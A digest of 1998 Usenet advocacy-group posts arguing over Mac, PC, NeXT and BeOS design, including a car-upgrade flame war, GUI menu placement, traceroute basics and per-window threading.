ignorant ass. That's pretty lame.
BTW, I was a certified master technician for 10 years before I went
back to college and allowed my ASE certification to expire. I
specialized in Nissan, Mazda and GM.
You and your magazine are way out of your league.
>
>Hmm... Apparantly the Supra has suddenly become non-upgradable... Wonder
>how this happened... Maybe you waved your magic fairy wand?
OK, upgrade to headers. Tell me how you do that with a turbo. Mill
the head, How do you adjust the timing chain? Or do you just let it
rattle? Oversized valves? They are as big as possible already.
Replace the ROM in the on-board computer? Not without a custom ROM
and a soldering iron. Posi rear end? Sorry, cant do it. Lower the
rear end ratio? When pigs fly. Oversized throttle body? Maybe, but
I doubt it. Hot cam? Very doubful. Billet crank? Not in your
wildest dreams. Tell me what your magazine says about that.
>
> Supra is, was, and will always be one of the most upgradable Japanese
>sports cars on the planet... There are hoards of owner groups who get
Its about as upgradeable as an imac.
>together to do this regularly. Ever look at a Bosch catalogue? There is
>more stuff to upgrade a Supra than quite possibly an IROC... Most likely
>there is more than available for a Mustang.
Have a stroll through your local Performance shop.
>
>> That's pretty much analogous to the PC world, where I can add another
>> CPU and fire-breathing OpenGL card to my PC if I want and blow away
>> any mac.
>
>Umm, no. You can add multiprocessor daughter cards, video cards, extremely
>powerful soundcards, etc. to almost any macs as well that will come back
>and blow away your pc in turn. And you can do it with less trouble... Swap
Wrong guess. Point out one or two of the G3 multiprocessor cards; if
you find one, count the number of apps that will actually use more
than 1 processor. Then point out the 32 meg video card which fits
your mac. Then have a look here:
http://www.dell.com/smallbiz/products/ws610.htm
It will break your heart.
Once again, you are way out of your league.
>in a card or two, and the mac doesn't even utter a peep. You get the pc
>equivalent of the IROC engine bursting into flames occasionally on a pc...
>So the mac is more upgradable.
What an idiot.
>
> Now the iMac on the other hand is less upgradable. But then it is a
>completely different design philosophy. It has it's place, but it's
>definately not for everybody.
Designed for idiots, like you.
>
>> >
>> >February and April 1989 respectively for R&T and C&D once again.
>> >
>> >For those people who always demand references and yet can't seem to be able
>> >to provide their own.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net> <tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net> <slrn6vba44.krv.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35f62c8a.0@nnrp1.news.uk.psi.net>
Date: 9 Sep 98 07:21:46 GMT
NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) wrote:
>On Tue, 8 Sep 1998 12:35:29 -0500, Michelle L. Buck wrote:
>: <horizontal vs vertical menus>
>:
>:My personal opinion is that the Openstep style vertical menus are far
>:superior to the Mac menus in every regard. Many of the same people who
>:created the Mac menu system went on to build the vertical menus. Maybe they
>:had a reason.
>
>I like OpenStep menus too, but some of the reasons the NeXT was
>different was that Apple viewed NeXT as traitorous enemies and would
>have sued the bejeezus out of them if they used various characteristic
>elements of the Mac interface.
I have often heard this quoted as a reason for the NeXT GUI design being
inferior to that of the MacOS - but it doesn't hold water.
First off - any arguments about the origins of gui's, while they may be
historically interesting in providing an understaning of how something
turned out the way it did, are useless for comparing the merits of various
systems - looking at how they actually behave in practice is the real test.
However, bearing in mind that this is totally academic, the implicit
reasoning goes like this -
1. Assertion: NeXT were forced (legally) to differentiate their
gui from that of the MacOS
2. Implied assertion: The MacOS gui was so good that any obvious change
would have made it worse
3. Conclusion: The NeXT gui is inferior to the MacOS gui
When you state it clearly, the argument is obviously rubbish - since the
(usually only implied) second stage is completely without foundation.
In fact the argument can readily be turned round as follows -
1. NeXT were forced (legally) to differentiate their gui from that of the
MacOS.
2. The MacOS gui was not great (just better than anything else available)
3. If told to redesign something, designers will do a better job based on
the experience of the original design unless prevented by other factors.
4. The NeXT people were motivated by the idea that superior technology will
bring financial success, so they had competant designers and let them
do their job.
5. The NeXT gui is superior to the MacOS gui
Now thats every bit as open to criticism, but it does demonstrate how
useless pointing to company history is when it comes to debating the
merits of a product.
There is nothing I can see in the NeXT gui that does not appear to have some
form of technical merit (however small) to explain it's difference to the
MacOS gui. That's not to say that product differentiation played no part,
I'm just saying that it appears that the way in which the products were
differentiated appears to have been ruled by the idea that the new design
must improve on the old one.
Even (and in this case I suspect that product differentiation may have more
to do with it than better design) the placement of the close button on the
right of the window rather than the left has the (slight) merit of making
accidental closure of the window less likely, and leaves room for the
minimise button (which should be used much more frequently) on the left
where it is more readily accessible.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: Wed, 09 Sep 1998 12:00:28 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F6B42C.9AF02517@ericsson.com>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net> <tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net> <slrn6vba44.krv.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35f62c8a.0@nnrp1.news.uk.psi.net>
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Richard Frith-Macdonald wrote:
[cut]
> There is nothing I can see in the NeXT gui that does not appear to have some
> form of technical merit (however small) to explain it's difference to the
> MacOS gui.
Isn't there *always* some small technical merit available to explain
anything?
[cut]
> right of the window rather than the left has the (slight) merit of making
> accidental closure of the window less likely,
Why?
> and leaves room for the
> minimise button (which should be used much more frequently) on the left
> where it is more readily accessible.
I'd advise them to instead put a minimize key on the keyboard. That
would be a real, justifiable change. Or better yet, since everything
seems to be lining up on the left for NeXT users, why not just put a big
thick slab full of left-handed tools on the one side of every window? Or
you could put a panner in the top left corner with a minimize button
right next to it. Or you could make a great big pie menu with every
windowing command _right there_ and make it accessible from any place on
the left side of the window.
All of these ideas have *some* technical merit, however small.
(I've hacked KDE's window manager to work with Sun keyboards' Front,
Open, and Help keys; I am happy at work. I don't ask anyone else to
agree that it's cool :-)
MJP
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 09 Sep 1998 16:56:34 GMT
Organization: KU
Message-ID: <994169DB0BEFDC2B.2FDF2A32C8D757DE.E5D07D7E652D2EF4@library-proxy.airnews.net>
References: <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <not-ya02408000R0709980301440001@news.colorado.edu> <6t0qnh$q0s$1@news4.wt.net> <not-ya02408000R0709981419430001@news.colorado.edu> <367454593A96A769.ED55763BD8C6F092.8B14831A23EF5E19@library-proxy.airnews.net> <not-ya02408000R0809982207430001@news.colorado.edu> <not-ya02408000R0809982240420001@news.colorado.edu>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Wed Sep 9 12:00:10 1998
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On Tue, 08 Sep 1998 22:40:42 -0700, not@work.bum (BrTe) wrote:
>In article <not-ya02408000R0809982207430001@news.colorado.edu>,
>not@work.bum (BrTe) wrote:
>
>
>> A 230 hp Supra turbo came in 0.1 seconds faster than either Ford Mustang
>> GT (okay that's no surprise), or a Camaro IROC Z (Road and Track, February)
>
>Whups! Forgot to include the year of the articles for those who can't
>figure it out: 1987 for this one.
I thought you said early 80's.
>
>> on the quarter mile. Plus, the Supra outcornered, and outhandled these
>> competitors (mentioned in passing in Car and Driver and other articles...
>> forgot months).
>
>April 1987 for the Car and Driver iirc.
>
>> The only car amongst the American contenders that gave the Supra any
>> headaches was the Chevy Corvette, but by 1989, there were many fields where
>> the Supra creamed it's ass. Increase in horsepower in between 1987 and
>> 1989?
In that case, the IROC owner might take a trip down to his local
performance shop and purchase performance injectors and throttle body,
replace the stock manifolds with headers, have the heads milled and
replace the valves with oversized versions and maybe even replace the
rom in his black box. Take that IROC back to Car and Driver and see
what happens to the turbo supra. In all, the hopped-up IROC still
costs less and now completely blows the doors off the non-upgradeble
supra.
That's pretty much analogous to the PC world, where I can add another
CPU and fire-breathing OpenGL card to my PC if I want and blow away
any mac.
>
>February and April 1989 respectively for R&T and C&D once again.
>
>For those people who always demand references and yet can't seem to be able
>to provide their own.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: Apple does it again!
Date: 9 Sep 1998 17:03:59 GMT
Organization: I don't think so
Message-ID: <slrn6vddn7.5j3.jason@jhste1.dyn.ml.org>
References: <1dev43i.1tkqj9r5ejjfdN@pppsl868.chicagonet.net> <6sr8ic$lb1@web.nmti.com> <1dex6g7.zgmaey1mk8xvkN@pppsl974.chicagonet.net> <macghod-0609981243590001@sdn-ar-001casbarp298.dialsprint.net> <1deyxtg.91nx691yqh8xsN@pppsl816.chicagonet.net> <macghod-0709981249470001@sdn-ar-002casbarp275.dialsprint.net> <1df2729.t4i6e418xegi5N@pppsl1026.chicagonet.net> <macghod-0809982340190001@sdn-ar-001casbarp116.dialsprint.net>
Steve Sullivan posted the following to comp.sys.mac.advocacy:
>I am curious too, you unix users (jason s? Sal?). Jay Riley and
>"cybernought" are lamely saying they nailed me that I live in the state of
>washington, by using whatroute. How would this show that I live in
>washington? I asked "Cybernought" how this would show this, and he
>refused to say (I assume he had no clue so he gave some lame reason why he
>wouldnt explain)
If "whatroute" is the same as "traceroute," it traces the route that
packets take from one machine to another. I believe that it does this
by sending ICMP packets with incrementally increasing times-to-live
(starting at 1, then 2, etc.) to the IP address of the target machine,
and then, when the packets don't reach the destination, the program
reports the last machine that received a packet before the TTL expired.
Odds are that the route that the packets took to get from Jay's machine
to yours went through Seattle. I recall once using traceroute to check
out the route between my machine and the University of Buffalo (which is
just a few miles away from where I live), and packets were being routed
through San Francisco and back to Buffalo, FWIW.
--
"Down the left field line -- Is it enough? -- Gone!"
-- Joe Buck
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.next.advocacy
Subject: [Q] Rhapsody and Unix
Date: Wed, 09 Sep 1998 10:08:52 -0700
Organization: University of California, Los Angeles
Message-ID: <35F6B619.1A937B2B@yahoo.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
I've a basic question about Rhapsody (err, Mac OS X Server) and Unix
integration.
Like a lot of scientists, I use both Unix machines and Macs. I prefer
to access the Unix boxes (Sun and DEC) through the Mac [eXodus, Fetch,
etc.] because for me the Mac-hosted tools (program editors, Illustrator,
etc.) are superior to what is available to me on Unix. The Unix boxes
host the compilers and are used to crunch the numbers; the Mac is used
for pre- and post-processing. Moving files between the two environments
is fairly seamless, tho it could stand to be more transparent. The CLI
doesn't spook me; indeed, it is preferable to a poorly designed GUI (my
comment on Windows, all flavors).
I first tried PC-based Linux several years ago, but found it
insufficiently well developed at the time to be of serious use.
However, I now have Red Hat Linux 5.1 on the PC, and with a greatly
improved g77 (GNU Fortran frontend to C), the PC Linux box can now do
about 90% of what my more expensive Sun workstation can do. (With older
versions of g77, I had too many problems compiling even relatively
straightforward Fortran codes.)
When Rhapsody comes out, will it provide the basic set of Unix tools?
If so, will g77 also be available? The Mac apps will, I imagine, run in
the Blue Box. Will moving/accessing information (files, clipboard
clippings, etc.) between the environments be transparent?
I'd dearly love to edit/compile/run/analyze all on a _single_ box. That
I _can't_ do on Unix (Solaris or Linux) right now. Running Fortran (or
F2C processed) programs on the Mac just doesn't cut it now, because the
valuable elements of the Unix environment are missing.
Thanks in advance :) I've been all over the web looking for
information.
E-mailed copies of replies are welcomed; the reply address is valid.
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell
User of: MacOS (admire), Unix/Linux and BeOS (respect), Win95 (barely
tolerate) and
DOS (despise). NT will be included somewhere when I get the damned
thing installed.
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Wed, 9 Sep 1998 10:08:44 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6t6d8s$inn$1@plo.sierra.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hjh$41c$1@nnrp1.dejanews.com> <Eyzrpq.rz@T-FCN.Net> <6t5di5$ddi$1@nnrp1.dejanews.com> <Ez0vCo.Ev8@T-FCN.Net>
NNTP-Posting-Date: 9 Sep 1998 17:18:20 GMT
Maury Markowitz wrote in message ...
>In <6t5di5$ddi$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
>> AFAIK, the BeOS creates two threads for each window. One is for the
Window
>> Server and one for the application.
>
> The real question is what _type_ of threads? Activation callouts? LWPs?
>userthreads? p-threads? Depending on the actual method used to construct
>the threads, the performance could be good and the resources used bad, the
>other way around, or it could end up being of little help to the developer.
> That's my complaint with BeOS, no matter how hard I try, I can't see
>ANYTHING on their web page about the actual design and implementation. All
>they say is "lots of threads".
There's pretty much just one type of thread in BeOS. And because it was
designed from the start to handle a lot of them, they're mostly efficient.
The fixed stack size seems to be the worst disadvantage.
>> run out of logical memory space because it uses a 256K fixed sized stack
>for
>> each window.
>
> Youch! The issue here is more serious than you may thing, this means the
>stacks will not fit into the cache.
Wrong. The 256KB for the stack is just reserved address space. Its not in
use, unless it needs to be, and for windows, I'm sure they don't use
anywhere near that much.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 9 Sep 1998 17:09:55 GMT
Organization: I don't think so
Message-ID: <slrn6vde29.5j3.jason@jhste1.dyn.ml.org>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hjh$41c$1@nnrp1.dejanews.com> <Eyzrpq.rz@T-FCN.Net> <6t5di5$ddi$1@nnrp1.dejanews.com> <Ez0vCo.Ev8@T-FCN.Net>
Maury Markowitz posted the following to comp.sys.mac.advocacy:
>> run out of logical memory space because it uses a 256K fixed sized stack
>for
>> each window.
> Youch! The issue here is more serious than you may thing, this means the
>stacks will not fit into the cache.
So what? Just because it allocates that much doesn't mean that you actually
need that much (or even close to that much).
--
"Down the left field line -- Is it enough? -- Gone!"
-- Joe Buck
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 10 Sep 1998 06:42:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t7sco$t09$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hob$44s$1@nnrp1.dejanews.com> <EyzrrH.uF@T-FCN.Net> <6t5dmd$de0$1@nnrp1.dejanews.com> <Ez0w7u.FIE@T-FCN.Net> <6t6id3$ufe$1@nnrp1.dejanews.com> <6t6ntc$boq$1@news.mxol.com>
In article <6t6ntc$boq$1@news.mxol.com>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> Not blocking per se; simply having to check mutexes has a cost.
What mutexes? Are you talking about mutexes in the framework code or in
application code?
> Application-wide variables like the list of open documents (or windows)?
> The Obj-C runtime, if implemented in YB and that language?
How many application wide variables do you need? In a document based
application, a particular document is going to contain internaly most of the
state information that it needs. What part of the runtime would have to change
if Apple added thread per window behavior?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Thu, 10 Sep 1998 06:37:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t7s3u$ssl$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hjh$41c$1@nnrp1.dejanews.com> <Eyzrpq.rz@T-FCN.Net> <6t5di5$ddi$1@nnrp1.dejanews.com> <Ez0vCo.Ev8@T-FCN.Net> <6t6j5g$vc1$1@nnrp1.dejanews.com> <Ez194q.pI@T-FCN.Net> <6t71n4$nba$1@nnrp1.dejanews.com> <Ez1Lsr.8oq@T-FCN.Net>
In article <Ez1Lsr.8oq@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Because you'd also have to spool off the save code from the "main loop".
> OpenStep helps here, but is slowing down a whole OS for a 3GB file save case
> a real good tradeoff?
But I wouldn't have a main loop. I'd have a thread for the application and a
thread for each window.
> I'm not sure "Be does it this way" is a very strong argument for the same
> behaviour on the MacOS-X. Certainly the performance and usability of the
> BeOS hasn't translated into any userbase of note.
But, so far, no NeXT technology has "translated into any userbase of note." I
am arguing technology here. The BeOS has better multithreading behavior than
OpenStep. I would like it if Apple noticed this and got to work.
> The issue again is how much we really need to get "good enough". I don't
> think it's nearly the same as you do.
Most people think that Windows 95 and Mac OS 8 are "good enough". I don't
think that anything is "good enough". Even if I think that OpenStep is the
best operating system in the world (which I do), I still think that Apple
should try to make it better.
> So? Is this bad? Does working printing and networking make up for it? I
> think so.
So do I. But why have a downside that you have to make up for?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 10:42:26 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C0C15-27E7B@206.165.43.114>
References: <Ez0tpx.DrK@T-FCN.Net>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21B29E7-187CF@206.165.43.24> "Lawson English" wrote:
>> What if they add a NSNURBSPath?
>
> It's a subclass.
Not mathematically. Beziers are a subclass of NURBS. Would you sub-class
Mike Paquette's 4x3 transform off of the NSAffineTransform class?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 00:33:07 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F76493.6297F047@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <35F5888B.AE0C62FB@ericsson.com> <6t767s$4gv$1@nnrp3.snfc21.pbi.net>
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William Edward Woody wrote:
> I won't argue the inherent superiority of GUI applications over
> CLI applications, as I use both and realize both have their
> strengths and weaknesses. However, I will note that if you have to
> "start the GUI interface, push a lot of buttons, etc., etc.",
> you're using a poorly written application:
I don't think that's self-evident. Obviously someone felt that having
all the options simultaneously visible was desirable. Many people tell
me that they like GUIs because they can see all the options at once; at
least they're easy to get at. I don't find it effective, but you'll have
to argue with someone else.
> a well written one would
> only require you to double-click the file labeled "interface.i":
> one step, and it wouldn't require you to memorize a whole list of
> obscure command line arguments.
Who's memorizing? I don't know any of the other command line arguments
for SWIG. I refer to my printed docs for more info, or I just type 'swig
-h' and get a concise listing.
MJP
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 10 Sep 1998 05:52:56 GMT
Organization: Idiom Communications
Message-ID: <6t7pfo$2n5$2@news.idiom.com>
References: <6sva1t$12381@odie.mcleod.net> <B2188FA4-337A1@206.165.43.166>
<6svstq$au61@odie.mcleod.net> <6t7h6v$hci2@odie.mcleod.net>
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"Michelle L. Buck" may or may not have said:
-> Mr.. English has not even tried the technology he is deriding. He does
not
-> know what he is talking about.
That's why most of the NeXT hackers in this group killfiled the twit within
two months of the merger announcement. I really wouldn't bother trying to
educate him, Michelle.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 10:47:56 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C0D5F-2CBE6@206.165.43.114>
References: <Ez0tuH.DuH@T-FCN.Net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
> Less work for the
>> programmer to implement.
>
> WHOA! That last sentance is almost CERTAINLY wrong! Notably when it
>comes
>time to debug it!
Huh. You think that accessing a data structure via:
OBJECT: thing
INTEGER: 14563
FLOAT: 325.65
TEXT: "abcDeFghIJK..."
is easier to handle programmatically than
struct thing
{
short i;
float x;
char *c;
};
I've always found TIFF to be easier to manipulate programmatically than a
text-based description of an image. YMMV, I guess.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 01:05:33 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F76C2D.69F42A67@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <35F5888B.AE0C62FB@ericsson.com> <6t7l35$11t@news1.panix.com>
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NNTP-Posting-Date: 10 Sep 1998 06:07:20 GMT
Sal Denaro wrote:
> Any reason why that Tcl/TK gui wouldn't be useful on non-mac systems?
None at all, unless the GUI is less useful than the CLI. Since swig is a
simple filter, a GUI is costly overkill. It is totally contrary to the
UNIX philosophy and thus is generally ignored for programs in swig's
category on systems that do not require a GUI.
> IIRC, Think Pascal let me build CLI style Apps under MacOS 6.0x on my SE/30.
> I see no reason why swig, perl or anything else couldn't be run this way.
Yes, my THINK C 4.0 let me do the same thing by wrapping the program in
a "Console" window. If I remember correctly (please correct me if I'm
wrong), it was not possible to build these "Console" applications if the
program initialized the Macintosh Toolbox. Moreover, the simple fact
that the program ran in a little text window did nothing for the program
whatsoever except to require less work in creating an interface. As I
said above, swig is a filter, not a display application. How would THINK
Pascal help you to pipe data into swig, or quickly run swig on a file in
your current working directory (a concept not present in MacOS anyway)?
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Organization: none
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Mime-Version: 1.0
Date: Wed, 9 Sep 1998 19:58:57 GMT
In <6t6id3$ufe$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> Why do you think that there will be a lot of blocking due to mutex?
Ummm, ok, I can't see a lot of point continuing this thread on this
particular point.
> typical multiple document application, each window is separate from the
> others. What resources would need protected by mutex?
The screen for one. The mouse for another. The menu bar for a third.
> I think that Solaris has some fairly well known performance problems.
€ That's my point, how did Be avoid the same problems?
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
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Date: Wed, 9 Sep 1998 20:05:14 GMT
In <6t6j5g$vc1$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> I don't know. My observation is that the BeOS is fast, two threads are
> created for each window and making multiple document applications is easy.
If
> Be can do this why can't Apple?
Because it's not the same OS. That's like asking why Apple can't make it
work under Windows. Apple has picked their kernel, and that defines a number
of other design issues.
> The probably do this because they don't want people copying their designs.
Urrrr, I think most people in the know are laughing at that statement.
> How does that solve the problem? If I select save on a 3GB document, can I
> keep playing with the other documents in the application while the save is
in
> progress?
Threading your window wouldn't solve this problem either.
> I think that you are focusing on preventing the end of event
> processing while the user is accessing a UI element.
Yes. I think for the most part this is what we want. I _expect_ my app to
stop working when I save a 3gb document, and I think that's true for everyone
else as well. Maybe that's not a very good assumption, but this does mean
that Apple has other issues to deal with. If they can make the front window
stop "freezing" when I hold down the mouse on the scorll bar, that will go a
very long way to making me happy.
